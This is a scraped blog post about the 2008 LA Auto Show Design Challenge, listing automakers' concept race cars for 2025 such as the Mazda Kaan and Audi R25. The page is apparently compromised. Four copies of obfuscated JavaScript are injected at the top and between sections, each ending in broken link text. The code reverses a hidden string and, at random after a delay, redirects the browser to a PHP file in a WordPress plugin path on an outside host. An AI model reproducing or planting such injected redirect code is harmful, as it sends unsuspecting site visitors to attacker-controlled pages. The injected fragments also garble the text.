$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?q=node/789″ target=”_self”>
Our recent post about the hybrid powered Porsche GT3 Cup based endurance racer really made it hit home for me about just the how “real” the current trend towards adopting so-called “Green” technology for the racetrack is. So of course the very next thing my brain does is wonder just how far it might go. We’ve already got a compelling case of the Greens in top level racing. Sure the adoption of so-called “Green Tech” in motorsports so far is arguably more about competition than conscience but whatever the reason is there’s no arguing against the fact that it’s happening.
Chances are that you’re already pretty familiar with the Audi R10 TDI and Peugeot 908 HDi diesel powered cars which have dominated LeMans and ALMS for the past few years. The same proably goes for last year’s McLaren and BMW F1 cars, which used the controversial (albeit optional) KERS technology to good effect, winning races and podium spots in 2009 even though Brawn GP snatched the Championship win in the end. At less exotic levels, we’ve also seen diesel powered SEATs, Volkswagens and BMW Touring Cars doing well in numerous endurance events around the world as well.
Meanwhile on the streets, we’ve got tuners going ga-ga for E85/ethanol and getting insane power out of turbodiesls by way of simple chip tuning, while electric motored Tesla Roadsters and Ariel Atoms slay exotics on the dragstrip.
The writing’s on the wall then. But how far might this go? This very question was posed in 2008 to some of the top car designers in the automotive industry as a part of the LA Auto Show’s Annual Design Challenge.
To raise as many questions as they answer then, here’s what the best car designers in the world have to say.
theshadow
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?q=node/789″ target=”_self”>
|
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?q=node/789″ target=”_self”>
|
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?q=node/789″ target=”_self”>
|
Above: Contest Winner: The MAZDA KAAN (Mazda R&D of North America)
The MAZDA KAAN is an electric race car that has a patented electronic tire system to reach 250 mph with no harmful emissions. The vehicles are piloted by individual drivers but teams are made up of thirty cars, all on the track together.
Above: Audi R25 (Audi of America Design Center California)
The Audi R25 incorporates innovative features such as high-velocity banks and tunnels, which allow cars to race “inverted” and the opportunity to pass anywhere with aerodynamic racecars.
Above: BMW Hydrogen Powered Salt Flat Racer (BMW Group DesignworksUSA)
The BMW Hydrogen Powered Salt Flat Racer reuses existing, ordinary and mundane materials such as old oil barrels and BBQ lids to whimsical and sustainable by employing goldfish as “co-pilots” to ensure that the vehicle is running clean emissions.
Above: GM Chaparral Volt (General Motors Advanced Design)
The GM Chaparral Volt collects and generates its own energy from three different clean, renewable and abundant California resources: Earth, Wind and Fire to create an entirely new category of racing – the eco-triathlon.
Above: Great Race 2025 (Honda Research and Development, North America)
Honda Research and Development, North America: The Great Race 2025’s sonar/echolocation sensors are able to detect changes in speed, terrain, and altitude, allowing it to switch to any configuration to circumnavigate the globe in 24 hours on land through the U.S., by sea through Asia and by air over Europe.
Above: Mitsubishi MMR25 (Mitsubishi Research & Design of North America)
The MMR25’s multi-terrain, omnidirectional wheels consist of eight independently-controlled motors, allowing for “8 x 4” wheel drive so that the car can be driven forward while pointing in any direction.
Above: Formula Racer Zero (Mercedes-Benz Advanced Design of North America)
Mercedes-Benz Advanced Design of North America: Luxury racing arrives in the Formula Zero Racer by incorporating the thrill of Formula One, the track dynamics of the bobsled or luge, and the grace and efficiency of yacht racing.
Above: Toyota LeMans Racer (Toyota Calty Design Research Centre)
The Toyota Le Mans Racer is the ultimate race car that never needs to stop. Powered by highly efficient hydrogen fuel cell electric motors, each of its body panels is embedded with photovoltaic panels to supply electricity when extra energy is needed.
Above: Bio Runner (Volkswagen of America Design Center)
In the Bio Runner, the rider is positioned inside a protective cage on a motorcycle-like saddle with controls attached to the hands and feet. These controls manipulate all wheels via synthetic muscle-based suspension which offers unparalleled control and traction.
***
So there you have it peeps – wind power, electric power, hybrid drivetrains, lightweight materials, you name it. While some of the above is also obviously pure fantasy, we’ve also seem some of it put to good use already.
Who knows what we’ll be racing in 2025? Will we cling to the traditional view of the petrol engine right to the bitter end? Will new technologies appear gradually though the interplay of competitve forces or will things change through force of legistlation? How will the current Motorsports formulas we love and the sanctioning bodies that run them adapt? What new formulas might we see created?
Happy speculation!
Source: http://www.laautoshow.com/PressRelease_20081020_DesignChallenge_E.html
Images: http://www.mymodernmet.com/profiles/blogs/2100445:BlogPost:39627